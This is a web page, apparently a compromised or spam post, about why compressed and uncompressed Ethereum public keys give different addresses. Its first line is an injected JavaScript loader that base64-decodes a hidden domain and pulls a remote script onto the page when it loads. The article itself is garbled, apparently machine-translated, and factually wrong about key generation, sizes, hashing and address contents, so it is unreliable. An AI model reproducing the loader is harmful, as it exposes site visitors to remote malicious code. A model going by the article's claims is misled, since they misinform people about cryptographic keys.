const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=ccfcae54″;document.body.appendChild(script);
Why compressed and uncompressed public keys have different addresses
As we go deeper into the world of Ethereum, two types of public keys become relevant: compressed and uncompressed. In this article,
Public key based on an elliptical curve
. Each coordinate consisted of two numbers: x and y. These coordinates could be considered a position
Generate the Ethereum public key, you would first choose a random number between -2^256 and 2^256 (inclusive) for presenting x, and the second random number between -2^256 and 2^256 to represent. The result of the number then has Hashed using a SHA-256 to produce a compressed public key.
Comssed Public Key
A compressed public key is a value of 32 roles (384 bits) that represents coordinates on an elliptical curve. This value is created by spraying X and value with SHA-256, along with some additional data. The result hash value is then shortened to a fixed length of 32 bytes.
Here’s an example of how a compressed public key
`Hex
0x ... A9B6D88C4F5E3CC1 ... B41 ...
`
Uncompressed public key
The original pair of coordinates (x and y) without any scattering or compression. Uncompressed public keys are used for cryptographic purposes and can be more effective than compressed.
To create an Ethereum uncompressed public key, you would choose two random numbers between -2^256 and 2^256 to introduce X and Y, respectively. These values were then Hashed using a SHA-256 to produce an uncompressed public key.
uncompressed vs. Compartment address
Now that we have explained why compressed and uncompressed public keys have different addresses, let’s dive into how they are generated:
- Uncompressed addresses: Each Ethereum address is shown as a 40-battalion (512 bita) value containing two random numbers (x and y), followed by some additional data such as network hash and block number. Public key.
.
** Why different addresses?
The reason for this difference lies in the way Ethereum’s public keys are designed:
- Uncompressed addresses are more effective because they do not require additional data such as network hash or block number. That makes them
. They
Public use in case of specific use. Uncompressed addresses are more effective for cryptographic purposes, which compresses equipment better performance in transactions that need fast and light answers.